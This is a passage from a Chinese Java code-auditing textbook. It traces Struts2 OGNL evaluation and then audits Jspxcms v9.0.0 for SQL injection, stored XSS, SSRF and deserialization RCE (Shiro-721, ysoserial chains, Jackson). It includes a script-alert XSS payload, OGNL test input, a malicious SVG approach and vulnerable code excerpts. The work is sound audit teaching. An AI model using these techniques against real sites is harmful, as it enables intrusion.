    {"text": "图 7-106 translateVariables 方法的部分代码 图 7-107 return 的结果 返回值仍是字符串 username，返回结果到 UIBean 类的 evaluateParams 方法。 当 判断完所有属性后，evaluateParams 方法中执行了一个操作，即将字符串拼接“${}” 成 为 一 个 OGNL 表 达 式 “ ${username} ”， 然 后 再 带 入 TextParseUtil 类 的 translateVariables 方法中，代码如图 7-108 所示。"},
    {"text": "这样做的目的是最终通过反射调用 7.2 开发框架使用不当范例（Struts2 远程代码执行） 389 LoginAction 对象的 getUsername 方法，从而获取存储在 LoginAction 对象中 username 属性的值。"},
    {"text": "我 们 在 password 栏 中 进 行 了 这 样 的 尝 试 ， 继 续 分 析 ， 前 期 直 到 拼 接 处 理%{password}从 LoginAction 中获取 password 的值为止都是相同的，问题就出在获 取到 password 的值之后。 password 的值为%{2+9}，按照程序执行流程，会先判断其是不是一个以“%{” 开头的 OGNL 表达式。 %{2+9}自然是符合的，start 最后的值为 0，end 的值为 5，count 的值为 0，所以会执行到 stack.findValue 这一步，将%{2+9}当作表达式来执行，后续 的执行会涉及 OGNL。"},
    {"text": "图 7-109 最终的执行结果 扫描二维码 学习更多 Java 开发框架拓展知识 第 8 章 Jspxcms 代码审计实战 在前面的章节中我们已经介绍了关于代码审计的基础知识和审计相关的知识点， 本章中我们将通过 Jspxcms 源码审计实战的方式来进一步了解代码审计的流程。"},
    {"text": "8.1 Jspxcms 简介 Jspxcms 是灵活的、易扩展的开源网站内容管理系统，具有可独立管理的站群、 自定义模型、自定义工作流、控制浏览权限、支持全文检索、多种内容形式、支持 文库功能、支持手机站、支持微信群发、可查询字段、文章多栏目、文章多属性、 内容采集、附件管理、全站静态化等功能特点，是在 gitee 开源平台获得推荐标志的 优秀 Java 项目。 Jspxcms 的前端技术主要运用了 HTML 5、CSS、JavaScript、jQuery、jQuery Validate （验证框架）、jQuery UI、AdminLTE、Bootstrap（响应式 CSS 框架）、UEditor（Web 编辑器）、Editor.md（Markdown 编辑器）、SWFUpload（上传组件）、My97 DatePicker （日期控件）、zTree（树控件）等，后端技术主要运用了 Spring Boot、Spring、Spring MVC、JPA（Java 持久层 API）、Hibernate（JPA 实现）、Spring-Data-JPA、QueryDSL、 8.2 Jspxcms 的安装 391 Shiro（安全框架）、Ehcache（缓存框架）、Lucene（全文检索引擎）、IKAnalyzer（中 文分词组件）、Quartz（定时任务组件）、Tomcat JDBC（连接池）、Logback（日志组 件）、JCaptcha（验证码组件）、JSP、JSTL（JSP 标准标签库）、FreeMarker（模板引 擎）、Maven 等。 8.2 Jspxcms 的安装 8.2.1 Jspxcms 的安装环境需求 ● JDK 8 或更高版本。"},
    {"text": "以上为安装 Jspxcms 的基础环境，此外，我们审计的 Jspxcms 版本为 v9.0.0 版 本，使用的数据库版本为 8.0.15，使用的审计工具为 IntelliJ IDEA 2020.1.4。 8.2.2 Jspxcms 的安装步骤 首先下载源码，并将其解压，重命名为 cms，得到其主目录，如图 8-1 所示。 图 8-1 Jspxcms 主目录 392 第 8 章 Jspxcms 代码审计实战 在主目录中，src 目录为存放源码的目录，database 为存储 SQL 文件目录。 然后创建名为 jspxcms_test 的数据库，并导入该 SQL 文件，如图 8-2 所示。 图 8-2 导入 SQL 文件 接着打开 IDEA，选择 Open or Import，导入 Jspxcms 项目，如图 8-3 所示。 图 8-3 IDEA 导入项目界面 8.2 Jspxcms 的安装 393 导入项目后的主界面如图 8-4 所示。 图 8-4 导入项目后的主界面 再打开/src/main/resources/application.propertis 文件，修改 url、username、password 的值，其余保持默认即可，如图 8-5 所示。 图 8-5 数据库信息配置界面 配置文件修改好后，继续修改 pom.xml 文件，将部分中间件版本修改成我们本 机环境所安装的版本。 如我这里的 MySQL 版本是 8.0.15，因此将 pom.xml 文件中 的 MySQL 版本修改成 8.0.15，如图 8-6 所示。 修改好后保存文件，然后右击项目名称，选择 Add Framework Support…选项， 如图 8-7 所示。 394 第 8 章 Jspxcms 代码审计实战 图 8-6 修改 MySQL 版本 图 8-7 选择 Add Framework Support…选项 接着在左侧选项栏中选择 Maven，单击 OK 按钮，如图 8-8 所示。 图 8-8 选择 Maven 8.2 Jspxcms 的安装 395 系统会在 External Libraries 下自动下载对应的 Jar 包，如图 8-9 所示。 图 8-9 自动下载对应的 Jar 包 当 Jar 包完成下载后，在 Idea 的右上角单击 Application→Edit Configurations… 选项，如图 8-10 所示。 图 8-10 单击 Edit Configurations…选项 在 Environment 选项中选择相应的 JDK 版本，如图 8-11 所示。"},
    {"text": "396 第 8 章 Jspxcms 代码审计实战 图 8-11 选择 JDK 版本 图 8-12 启动运行 8.2 Jspxcms 的安装 397 图 8-13 运行成功 访问 http://localhost:8080，即可看到该项目的主界面，如图 8-14 所示。 图 8-14 项目的主界面 访问 http://localhost:8080/cmscp/index.do，即可看到该项目管理界面的主界面， 398 第 8 章 Jspxcms 代码审计实战 如图 8-15 所示。"},
    {"text": "8.3.1 目录结构 Jspxcms 的目录结构分为 3 个主文件夹，分别为 java、resource 和 webapp。 java 文件夹中主要存放 Java 源码，resource 文件夹主要存放配置文件，webapp 文件主要 存放 JSP 文件以及静态资源文件。 java 文件夹存放的主要文件及作用如下。"},
    {"text": "以上为 Jspxcms 的主要目录结构及文件说明。 8.3.2 功能说明 Jspxcms 的功能主要有工作台功能、内容管理功能、文件管理功能、模块组件功 能、插件功能、访问统计功能、用户权限功能、系统管理功能等。"},
    {"text": "● 后台首页：显示当前系统的版本信息、用户名、上次登录时间、上次登录 IP、 登录次数等信息。 ● 系统信息：显示当前操作系统、Java 运行环境、系统用户、用户主目录、用 户临时目录、最大内存、已用内存、可用内存等信息。"},
    {"text": "● 专题类别：对专题进行分类。 ● 专题管理：专题是对文章的另一种分类方式。 可以将一篇文章设置为属于某 一个或多个专题。 专题支持自定义字段。"},
    {"text": "● 文档属性：可以给文章设置多个属性（如焦点、头条），每个属性可以上传不 同图片，如同时设置为焦点和头条，则可以分别上传焦点图片和头条图片。"},
    {"text": "■ 生成 HTML：在栏目和模型中可以配置生成静态页，配置静态页后， 新增和修改文章会自动更新静态页。 如果修改了模板或者静态页配置， 则可在此手动生成静态页。"},
    {"text": "● 附件管理：系统在使用过程中，会上传大量附件（如图片、视频、文件等）， 有些附件上传后并未使用（如上传后发现不对或重复上传），成为垃圾文件， 占用大量硬盘空间。"},
    {"text": "● 评分组：用户浏览文章后，可以对文章进行打分（如 1 分、2 分、3 分、4 分、 5 分），或者表达心情（如高兴、感动、难过、搞笑、无聊、愤怒、同情）。"},
    {"text": "● 流量分析：统计每日访问的浏览次数、独立访客数、IP 数。 ● 来源分析：统计访客是通过哪些网站的链接访问的。 ● 受访分析：统计每个页面的浏览次数、独立访客数、IP 数。 ● 地域分析：统计访客的所在地。 ● 浏览器分析：统计访客所用的浏览器。 ● 操作系统分析：统计访客所用的操作系统。 ● 设备分析：统计访客所用的设备。"},
    {"text": "用户权限主要功能如下。 ● 用户管理：可以人工审核注册用户，可以锁定、解锁、删除用户。 ● 角色管理：设置角色的功能权限、栏目权限、文档权限。"},
    {"text": "● 全局用户：在多组织多站点的情况下，用户管理只能管理当前站点所属组织 下的用户，全局用户则可以管理所有组织下的用户。 ● 全局组织：在多组织多站点的情况下，组织管理只能管理当前站点所属组织 下的子组织，全局用户则可以管理所有组织。"},
    {"text": "● 通知管理：主要对通知消息进行管理。 ● 私信管理：主要对私信信息进行管理。 ● 系统消息管理：主要对系统消息进行管理。 ● 收藏管理：主要对收藏进行管理。"},
    {"text": "● 系统设置 ■ 基本设置：设置端口号、上下文路径等信息。 ■ 上传设置：设置上传允许的后缀、大小。 ■ 注册设置：设置注册用户默认的会员组、组织，注册用户的验证模式，合 法用户名字符等信息。 ■ 邮件设置：设置系统发送邮件给用户时使用的发件邮箱。 ■ 其他设置：设置浏览次数、缓存等信息。"},
    {"text": "● 发布点：系统中上传的附件和生成的静态化页面通常保存在程序所在目录。 有时需要将上传的附件和生成的静态页面保存在其他目录甚至其他的服务器 （通过 FTP 传输），便于维护和提高负载能力，这时可以使用发布点功能。"},
    {"text": "以上为 Jspxcms 的主要功能介绍，在我们审计漏洞点时，可以在功能列表中寻 找可能出现的漏洞点，如 XSS 漏洞，那么可能出现该漏洞点的功能一般是文章发表 功能、评论功能、友情链接申请功能、名称修改功能、个性签名修改功能等。 如果 406 第 8 章 Jspxcms 代码审计实战 找到功能点对应的逻辑代码，那么我们审计起来的时候就能事半功倍。"},
    {"text": "8.4 第三方组件漏洞审计 对于早期的 Java Web 项目，如果使用了其他官方或组织提供的 Jar 包，那么我 们需要手动将对应的 Jar 包复制到对应的 lib 目录并配置对应信息。"},
    {"text": "Apache 为了解决这个问题编写了 Maven，它是一款基于 Java 平台，可用于项目构建、依赖 管理和项目信息管理的工具，使用该功能能够大大减少维护成本，并且 Maven 规范 了团队以相同的方式进行项目管理，无形中提升了团队的工作效率。 Maven 的核心文件是 pom.xml，该文件主要用于管理源代码、配置文件、开发 者的信息和角色、问题追踪、组织信息、项目授权、项目的 url、项目的依赖关系等。"},
    {"text": "Jspxcms 使用的第三方组件及其版本号如表 8-1 所示。 表 8-1 Jspxcms 使用的第三方组件及其版本号 第三方组件 版本号 commons-lang3 3.4 commons-net 3.4 commons-io 2.4 ehcache-core 2.6.11 shiro 1.3.2 lucene 3.6.2 htmlparser 2.1 quartz 2.2.2 poi 3.13 ant 1.9.6 prettytime 4.0.1.Final 8.4 第三方组件漏洞审计 407 续表 第三方组件 版本号 owasp-java-html-sanitizer 20160924.1 UserAgentUtils 1.20 weixin4j-mp 1.7.4 imgscalr 4.2 jcaptcha 2.0.0 jodconverter-core 1.0.5 jacob 1.14.3 im4java 1.4.0 aliyun-sdk-mns 1.1.8 IKAnalyzer 2012_u6 qq-connect-Sdk4J 2.0.0 weibo4j-oauth2 beta3.1.1 jdbc.driver. 5.1.41 jsp-api 2.2.1 jaxb-api 2.3.0 powermock.version 1.6.6 我们可以对所使用的 Jspxcms 的第三方组件的版本进行版本比对，以判断该版本 是否受到已知漏洞的影响。"},
    {"text": "图 8-17 第三方组件 shiro 受到 RCE 漏洞的影响 408 第 8 章 Jspxcms 代码审计实战 8.5 单点漏洞审计 8.5.1 SQL 审计 1．全局搜索 根据 pom.xml 文件可以得知，这套 CMS 使用了 Hibernate 作为数据库持久化框 架，5.1 节曾介绍过在某些未正确使用 Hibernate 框架的情况下会产生 SQL 注入漏洞。"},
    {"text": "图 8-18 通过全局搜索关键字寻找可能存在的漏洞点 8.5 单点漏洞审计 409 如下代码使用了占位符的方式构造了 SQL 语句，这种方式是不会产生 SQL 注 入的。"},
    {"text": "@Query(\"select max(bean.treeNumber) from Org bean where bean.parent.id is null\") public String findMaxRootTreeNumber(); @Query(\"select count(*) from Org bean where bean.parent.id = ?1\") public long countByParentId(Integer parentId); @Query(\"select count(*) from Org bean where bean.parent.id is null\") public long countRoot(); @Query(\"select bean.treeNumber from Org bean where bean.id = ?1\") public String findTreeNumber(Integer id); 2．功能定点审计 （1）用户信息。"},
    {"text": "@RequestMapping(\"/info/{id:[0-9]+}_{page:[0-9]+}\") public String info(@PathVariable Integer id, @PathVariable Integer page, HttpServletRequest request, HttpServletResponse response, org.springframework.ui.Model modelMap) { return info(null, id, page, request, response, modelMap); } 具体的功能逻辑代码实现在 info（）方法中，但此时已经可以判断此处不存在注 入。"},
    {"text": "core/web/back/UserController#checkUsername 中有一段检 查用户名是否存在的代码，如下所示。 /** * 检查用户名是否存在 */ @RequestMapping(\"check_username.do\") public void checkUsername(String username, String original, HttpServletResponse response) { if (StringUtils.isBlank(username)) { Servlets.writeHtml(response, \"false\"); return; } if (StringUtils.equals(username, original)) { Servlets.writeHtml(response, \"true\"); return; } // 检查数据库是否重名 boolean exist = service.usernameExist(username); if (!exist) { Servlets.writeHtml(response, \"true\"); } else { Servlets.writeHtml(response, \"false\"); } } 8.5 单点漏洞审计 411 service 是 UserService 接口的实例，该接口的具体实现是 UserServiceImpl usernameExist()方法调用了 dao. countByUsername()方法来完成具体的功能。 public boolean usernameExist(String username) { return dao.countByUsername(username) > 0; } dao 是 UserDao 接口的实例，在 UserDao 中对 countByusername()方法的定义中使 用占位符的方式构造 SQL 语句，不存在 SQL 注入的问题。 @Query(\"select count(*) from User bean where bean.username=?1\") public long countByUsername(String username); 对本套 CMS 的几个功能点进行审查时，在数据库交互的过程中采用了安全的编 码方式，未发现 SQL 注入漏洞。"},
    {"text": "在挖掘 SQL 注入的过程中，用全局搜索关键字可以 快速发现可能存在的漏洞点，常需要回溯找到上一级调用点，理清变量的传递过程， 从而确定漏洞是否真实存在。"},
    {"text": "我们所运用的经验是：网 站的评论区往往是存储型 XSS 漏洞的“重灾区”，若研发人员未能对评论数据同时做 好“输入校验、过滤”以及“输出转义”，则很容易受到存储型 XSS 的危害。"},
    {"text": "首先来检查“输入点”，为了快速定位到提交评论数据的接口，可以采用 Burp Suite 抓取普通用户在 Info 页面提交评论数据的请求包（我们在网友评论框内填写了 XSS 的 payload“<script>alert(\"carpe diem\")</script>”），如图 8-20 所示。"},
    {"text": "由图 8-20 可知，在普通用户提交评论时，访问的接口是“POST/comment_ submit”。 为了快速找到接口对应的方法，我们可以在代码中搜索字符串“comment_ submit”，如图 8-21 所示，该接口的实现代码是控制器类 CommentController 中的方 法 submit。 412 第 8 章 Jspxcms 代码审计实战 图 8-20 检查输入点 图 8-21 搜索字符串 而该 submit 方法未对用户提交的评论内容变量 text 进行参数校验与过滤，就将 Comment 对 象 属 性 text 的 值 赋 为 变 量 text 的 值 。 紧 接 着 ， 第 205 行 的 “CommentService.save 接口的实现类对象”的 save 方法调用 Comment 对象，如图 8-22 所示。 8.5 单点漏洞审计 413 图 8-22 save 方法调用 Comment 对象 对接口 CommentService 的实现类 CommentServiceImpl 的 save 方法进行审计， 如图 8-23 所示。 图 8-23 审计 save 方法 由图 8-23 可知，该方法调用了“CommentDao 接口的实现类的对象”的 save 方法， 继续审计该方法，可以发现算法直接将 Comment 对象存入了数据库，如图 8-24 所示。"},
    {"text": "但比较遗憾的是，在存入恶意数据时，我们并不能在 info 页面看到预期的 XSS 弹 窗，只可以猜测该网站已经在“输出点”（表现层）进行了转义工作。"},
    {"text": "图 8-26 网站采用了模板引擎“Freemarker” 8.5 单点漏洞审计 415 当我在互联网上查阅与 Freemarker 的“转义”相关的开发文档时，无意发现了 Jspxcms 对 Freemarker 转义的说明，如图 8-27 所示。 图 8-27 Jspxcms 对 Freemarker 转义的说明 果不其然，我们在 Info 页面的模板文件 Jspxcms\\src\\main\\webapp\\template\\1\\ default\\info_news.html 中发现了转义的写法，如图 8-28 所示。"},
    {"text": "检查模板文件，可以发现模板文件 Jspxcms\\src\\main\\webapp\\template\\1\\ default\\sys_member_space_comment.html 未做转义输出，如图 8-29 所示。 继续在源码中搜索文件名“sys_member_space_comment.html”，可以发现同目录 下的模板文件 sys_member_space.html 恰好引用了 sys_member_space_comment.html， 如图 8-30 所示。 416 第 8 章 Jspxcms 代码审计实战 图 8-29 未做转义输出的文件 图 8-30 继续在源码中搜索 接着，我们还可以在模板文件 sys_member_space.html 中找到如下关键代码，如 图 8-31 所示。 图 8-31 在模板文件中的关键代码 这段代码进行了以下处理：当 HTTP 请求参数 type 的值为 comment 时，动态引 用了 sys_member_space_comment.html 文件； 寻找使用该模板的控制器类，继续在源 8.5 单点漏洞审计 417 码中搜索“sys_member_space.html”，如图 8-32 所示。 图 8-32 继续在源码中搜索 由图 8-32 可知，控制器类/fore/MemberController 中的常量的值正好是字符串 “sys_member_space.html”。 接着在源码中搜寻常量“SPACE_TEMPLATE”，可知接 口“GET /space/{id}”使用了该模板，并且请求参数 id 是普通用户可控的。"},
    {"text": "图 8-34 测试结果显示成功挖掘到 XSS 漏洞 比较有趣的是，我们可以通过软件 Beyond Compare 发现，新版本已经对该模板 进行了转义处理，以修复漏洞，如图 8-35 所示。"},
    {"text": "● com.jspxcms.common ip：通过 IP 地址查询实际地址的逻辑代码。 ● com.jspxcms.common – web：Spring MVC 等 Web 相关类。 ● com.jspxcms.core – domain：实体类代码。 8.5 单点漏洞审计 419 ● com.jspxcms.core – service：服务层代码。 ● com.jspxcms.core – web：Controller 层代码。 ● com.jspxcms.ext：扩展模块代码。 ● com.jspxcms.plug：插件模块代码。"},
    {"text": "在 com.jspxcms.common — web 中，其主要代码是 Spring MVC 等 Web 相关 类，其中可能存在自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。 在 com.jspxcms.core — domain 中，其主要代码逻辑是实体类代码，其中可能 存在自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。 在 com.jspxcms.core — service 中，其主要代码逻辑是服务层代码，其中可能 存在自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。 在 com.jspxcms.core — Web 中，其主要代码逻辑是 Controller 层代码，其中 可能存在自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。 在 com.jspxcms.ext 中，其主要代码逻辑是扩展模块的相关功能，其中可能存在 自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。 在 com.jspxcms.plug 中，其主要代码逻辑是插件模块的相关功能，其中可能存在 自定义的与 http 请求相关的函数，因此猜测其可能出现 SSRF 漏洞。"},
    {"text": "在内容管理的文档属性功能点中，存在上传图片的功能，图片上传可能从远程 加载或获取，对于远程加载或获取的功能点，可能存在 SSRF 漏洞。 在文件管理的上传文件功能点中，存在上传图片的功能，图片上传可能从远程 加载或获取，对于远程加载或获取的功能点，可能存在 SSRF 漏洞。 在模块组件功能的采集管理功能点中，存在采集其他网站新闻的功能，该功能 可能从远程加载或获取，对于远程加载或获取的功能点，可能存在 SSRF 漏洞。 在插件功能的广告管理功能点中，存在上传图片的功能，图片上传可能从远程 420 第 8 章 Jspxcms 代码审计实战 加载或获取，对于远程加载或获取的功能点，可能存在 SSRF 漏洞。"},
    {"text": "图 8-36 搜索相关类或函数 搜索可知一个文件中存在该类，在 UploadControllerAbstract.java 文件第 144 行 传入了一个 src 变量，并进行了 openConnection()连接。"},
    {"text": "protected void ueditorCatchImage(Site site, HttpServletRequest request, HttpServletResponse response) throws I OException { GlobalUpload gu = site.getGlobal().getUpload(); PublishPoint point = site.getUploadsPublishPoint(); FileHandler fileHandler = point.getFileHandler(pathResolver); String urlPrefix = point.getUrlPrefix(); StringBuilder result = new StringBuilder(\"{\\\"state\\\": \\\"SUCCESS\\\", list: [\"); List<String> urls = new ArrayList<String>(); List<String> srcs = new ArrayList<String>(); String[] source = request.getParameterValues(\"source[]\"); if (source == null) { 8.5 单点漏洞审计 421 source = new String[0]; } for (int i = 0; i < source.length; i++) { String src = source[i]; String extension = FilenameUtils.getExtension(src); // 格式验证 if (!gu.isExtensionValid(extension, Uploader.IMAGE)) { // state = \"Extension Invalid\"; continue; } HttpURLConnection.setFollowRedirects(false); HttpURLConnection conn = (HttpURLConnection) new URL(src). openConnection(); if (conn.getContentType().indexOf(\"image\") == -1) { // state = \"ContentType Invalid\"; continue; } if (conn.getResponseCode() != 200) { // state = \"Request Error\"; continue; } String pathname = site.getSiteBase(Uploader.getQuickPathname (Uploader.IMAGE, extension)); InputStream is = null; try { is = conn.getInputStream(); fileHandler.storeFile(is, pathname); } finally { IOUtils.closeQuietly(is); } String url = urlPrefix + pathname; urls.add(url); srcs.add(src); result.append(\"{\\\"state\\\": \\\"SUCCESS\\\",\"); result.append(\"\\\"url\\\":\\\"\").append(url).append(\"\\\",\"); result.append(\"\\\"source\\\":\\\"\").append(src).append(\"\\\"},\"); } if (result.charAt(result.length() - 1) == ',') { result.setLength(result.length() - 1); } result.append(\"]}\"); logger.debug(result.toString()); response.getWriter().print(result.toString()); } 经过仔细阅读可知，该函数的功能是获取并下载远程 URL 图片。 首先传入 422 第 8 章 Jspxcms 代码审计实战 source[]变量，然后利用 getExtension 判断传入的 URL 文件扩展名，若是图片类型的 文件，则修改文件名并保存到指定路径，最终反馈到页面上。 可以看到，该函数中对于传入的 URL 并没有进行过滤，在得到 URL 的值后， 直接带入 openConnection()，造成了 SSRF 漏洞。 但是上述代码中将 openConnection() 返回的对象强制转换为 HttpURLConnection，如果传入的是非 http 或 https 协议， 则会报错，如图 8-37 所示。"},
    {"text": "我们发现 ueditorCatchImage()函数在 UploadController.java 中被调用，如图 8-38 所示。 图 8-38 函数被调用 跟踪发现调用该函数的是 ueditorCatchImage()方法，如图 8-39 所示。 图 8-39 调用函数的方法 8.5 单点漏洞审计 423 继续跟踪发现在同文件的第 58~66 行中，在/ueditor.do 页面，当传入的参数为 catchimage 时，调用了 ueditorCatchImage()方法，如图 8-40 所示。"},
    {"text": "图 8-42 端口未开放则返回 500 错误 此外，由于该功能点的特殊性——ueditorCatchImage()函数功能是获取并下载远 程 URL 图片，因此我们可以制作一个含有 XSS 脚本的 SVG 图片，该图片内容如图 8-43 所示。"},
    {"text": "图 8-43 含有 XSS 脚本的 SVG 图片 然后将该文件放到指定网址上，如这里将该文件命名为 poc.svg，并将其放在 Apache 服务器的 ctf 文件目录下，然后传入该地址，如图 8-44 所示。"},
    {"text": "8.5 单点漏洞审计 425 图 8-44 将图片文件放在指定网址上 图 8-45 测试成功 2．模块组件功能 — 采集管理审计 对于功能点的审计和功能目录的审计略有不同，首先是要确定该功能点在站点 的位置，了解其具体功能，如图 8-46 所示。 图 8-46 确定功能点在站点的位置 426 第 8 章 Jspxcms 代码审计实战 在站点后台的模块组件—采集管理页面，是该功能的界面，接着对初始化数 据进行修改，如图 8-47 所示。"},
    {"text": "首先全局搜索 list_pattern_dialog.do， 如图 8-50 所示，定位到/src/main/java/com/jspxcms/ext/web/back/CollectController.java 文件，接着定位到 listPatternDialog()函数。"},
    {"text": "@RequestMapping(\"list_pattern_dialog.do\") public String listPatternDialog(String listPattern, Integer pageBegin, Integer pageEnd, String charset, String userAgent, String areaId, String itemId, @RequestParam (defaultValue = \"true\") boolean desc, org.springframework.ui.Model modelMap) throws ClientProtocolException, IOException { List<String> urls = Collect.getListUrls(listPattern, pageBegin, pageEnd, desc); modelMap.addAttribute(\"urls\", urls); modelMap.addAttribute(\"charset\", charset); modelMap.addAttribute(\"userAgent\", userAgent); 428 第 8 章 Jspxcms 代码审计实战 modelMap.addAttribute(\"areaId\", areaId); modelMap.addAttribute(\"itemId\", itemId); return \"ext/collect/collect_pattern_dialog\"; } 图 8-50 寻找对应的代码文件 可 以 看 到 listPatternDialog() 函 数 将 获 取 的 参 数 提 交 到 了 /src/main/webapp/ WEB-INF/views/ext/collect/collect_pattern_dialog.JSP 页面。"},
    {"text": "跟踪该页面发现页面将参 数传递给了 fetch_url.do 处理，如图 8-51 所示。 图 8-51 页面处理了获取的参数 8.5 单点漏洞审计 429 全局搜索该地址，如图 8-52 所示。 图 8-52 全局搜索该地址 搜索结果定位到/src/main/java/com/jspxcms/ext/web/back/CollectController.java 文 件第 243 行的 fetchUrl()函数，如图 8-53 所示。 图 8-53 定位到的函数 发现该函数将参数再次传入了 fetchHtml()方法，继续跟踪该方法，定位到 src/main/java/com/jspxcms/ext/domain/Collect.java ，如图 8-54 所示。 430 第 8 章 Jspxcms 代码审计实战 图 8-54 定位到的方法 我们发现在 fetchHtml()方法中调用了重写的 fetchHtml()方法，在该重写方法中通 过 get 的方式获取 URL 对象，并将其最终直接传入 httpclient.execute()函数，构成 SSRF 漏洞。 我们可以直接访问 fetch_url.do 页面来测试 SSRF 漏洞，如图 8-55 所示，能够 直接访问内部网络的服务。 图 8-55 测试 SSRF 漏洞 8.5 单点漏洞审计 431 至此，SSRF 漏洞挖掘完成。"},
    {"text": "8.5.4 RCE 审计 在审计 RCE 漏洞时，首先要观察该项目所依赖的第三方 Jar 包，目的是了解项 目有没有使用包含已知漏洞的第三方组件，如果使用了，那么参数是否可控也是我 们需要确定的。"},
    {"text": "经过观察，从项目中挑选出以下几个第三方库，如图 8-56 所示。 图 8-56 从项目中挑选第三方库 这里的第三方库或多或少都存在问题，要么是本身存在漏洞，要么是某个漏洞 利用链中的一环。"},
    {"text": "本项目使用了 Spring Boot，Spring Boot 默认会引用 Snakeyaml 来解析项目中 yml 和 yaml 格式的配置文件。 如果低版本的 Spring Boot 项目中存在 Spring Cloud 和 Spring Boot actuator，则可以通过发送 HTTP 报文更新配置信息的形式 Snakeyaml 去指定网址解析 yml 格式的恶意文件，从而造 成 RCE。"},
    {"text": "众所周知，FastJson 和 Struts2 是曾经的漏洞之王，如果项目 432 第 8 章 Jspxcms 代码审计实战 中使用了 1.2.3 版本的 Fastjson，则极有可能存在反序列化漏洞，那么该如何判断项 目中有没有使用 Fastjson 呢？"},
    {"text": "其实很简单，通过全局搜索 fastjson，查看从哪个类中 导入 Fastjson，就可以进行判断。 全局搜索结果如图 8-57 所示，可以发现项目中没有 任何地方使用或者导入了 Fastjson，所以忽略 Fastjson。"},
    {"text": "Apache Shiro 版本小于 1.2.4，可 能存在反序列化 RCE 漏洞即 Shiro-550。 Jspxcms 中使用的 Shiro 版本是 1.3.2，该版 本存在通过 Padding Oracle 构造数据进行反序列化的漏洞，即 Shiro-721，因此存在极 高的 RCE 风险。"},
    {"text": "Jspxcms 在 Java 反序列化利用工具 ysoserial 中有两个 payload，分别是 Hibernate1 和 Hibernate2。 这两个 payload 就是 Hibernate 反序列化利用链，Jspxcms 中引用了 Hibernate 5.0.12 版 本 ， 经 过 测 试 Hibernate 5.0.12 缺 少 了 一 个 org.hibernate. property.BasicPropertyAccessor$BasicGetter 类，导致整个利用链失效了，所以忽略 Hibernate。"},
    {"text": "在 3.1 版本的 Commons- 8.5 单点漏洞审计 433 collections 中有一条利用链，但是在 3.2.2 版本中 Apache Commons-collections 对一些 不安全的 Java 类的序列化支持增加了开关，默认为关闭状态。"},
    {"text": "其中涉及的类包括 CloneTransformer、ForClosure、InstantiateFactory、InstantiateTransformer、InvokerTransformer、PrototypeCloneFactory、PrototypeSerializationFactory 和 WhileClosure。"},
    {"text": "Serialization support for org.apache.commons.collections.functors. InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. 再继续寻找，可以看到 Commons-beanutils 依赖，版本是 1.9.3。 Java 反序列化工 具 ysoserial 中也有一条 Commons-beanutils 的利用链，但是这个利用链不仅需要 Commons-beanutils，同时还需要 Commons-collections 以及 Commons-logging，也就 是说需要目标中同时存在这 3 个第三方库的依赖，这条利用链才有效，但是 Jspxcms 正好具备这个条件。 由于这 3 个 Jar 包与 ysoserial 中生成 gadget 的 Jar 包的版本不一 致 ， 因 此 需 要 先 将 Jspxcms 中 的 Commons-beanutils 、 Commons-collections 和 Commons-logging 这 3 个 Jar 包导入 ysoserial 中进行验证，经过验证确实可用，接下 来即可使用 Apache Shiro Padding Oracle Attack exp 验证我们上述的想法是否可行。"},
    {"text": "但是相比 于 Fastjson 来说，Jackson 的爆出的 RCE 漏洞少很多，但是 JspxCMS 项目中所使用 的 Jackson 是一个非常低的版本即 2.8.7 版，所以存在极高的 RCE 漏洞风险。"},
    {"text": "434 第 8 章 Jspxcms 代码审计实战 图 8-58 验证后确认存在 RCE 漏洞 图 8-59 全局搜索后发现的类和方法（一） 8.5 单点漏洞审计 435 图 8-60 全局搜索后发现的类和方法（二） 接下来就要全局搜索调用了 JsonMapper 的 fromJson 方法，经过搜索，发现了以 下两个类，如图 8-61 所示。 图 8-61 全局搜索后发现的两个类 先从 ScheduleJob 类看起，该类是一个实体类通过 hibernate 与数据库中的 cms_schedule_job 表进行映射，调用 JsonMapper 的 fromJson 方法位于其 getJobDetail 方法中，如图 8-62 所示。 图 8-62 查看 ScheduleJob 类 436 第 8 章 Jspxcms 代码审计实战 根据图 8-62 的代码可看出传入 fromJson 方法中的 data 参数是通过 getData 方法 获取的，所以需要去看 getData 方法的具体实现如图 8-63 所示。"},
    {"text": "我们打开对应的表观察数据却发现是空的，而且经过一轮搜索后发现，项目中没有 别处使用 ScheduleJob 这个实体类，所以无法通过调用该实体类向数据库中写入恶意 数据从而进行反序列化攻击。 经过一番查找，我们推定 ScheduleJob 这个实体类应该 是被图 8-64 所示的功能调用，该功能未在开源版本中提供，所以此处虽然怀疑存在 Jackson 反序列化 RCE 漏洞，但是由于功能不全无法验证，因此漏洞风险极高，在日 常审计项目中肯定要通知开发人员进行整改。"},
    {"text": "图 8-64 调用实体类的功能未在开源版本中提供 接下来分析 Freemarkers 类，该类同样调用了 JsonMapper 的 fromJson 方法，其 方法实现如图 8-65 所示。 8.5 单点漏洞审计 437 图 8-65 fromJson 方法的实现内容 fromJson 处理的参数是通过 Freemarkers 的 getString 方法获取的，其中 getString 方法需要传入的参数中，model 和 name 皆是由外部调用时传入，所以需要再次找 到是哪里调用了 Freemarkers 类的 getParams 方法。"},
    {"text": "图 8-66 调用了 getParams 方法的 Freemarkers 类 至此，有可能存在 RCE 漏洞的第三方库分析完成，接下来查看 Jspxcms 项目自 身的代码会不会存在能够导致 RCE 漏洞的问题。"},
    {"text": "众所周知，Java 是静态语言，在编 译期已经将各种属性和参数的类型确定好，而且 Java 可以执行命令的函数只有两个： 一个是 Runtime 类的 exec 方法，另一个是 ProcessBuilder 的 star 方法。 看过 Runtime 类源码的读者应该都清楚 Runtime 类的 exec 方法其实还是通过调用 ProcessBuilder 的 star 方法来实现执行系统命令的效果，因此我们可以先全局搜索代码中是否调用了 Runtime 类的 exec 方法或者 ProcessBuilder 的 star 方法。"},
    {"text": "图 8-67 未调用 Runtime 类的 exec 方法 接下来搜索 ProcessBuilder，经过搜索发现 SwfConverter 类的 pdf2swf 方法中不 仅用到了 ProcessBuilder 类，还通过 ProcessBuilder 类的 command 方法传入命令，并 通过 start 方法执行，具体细节如图 8-68 所示。"},
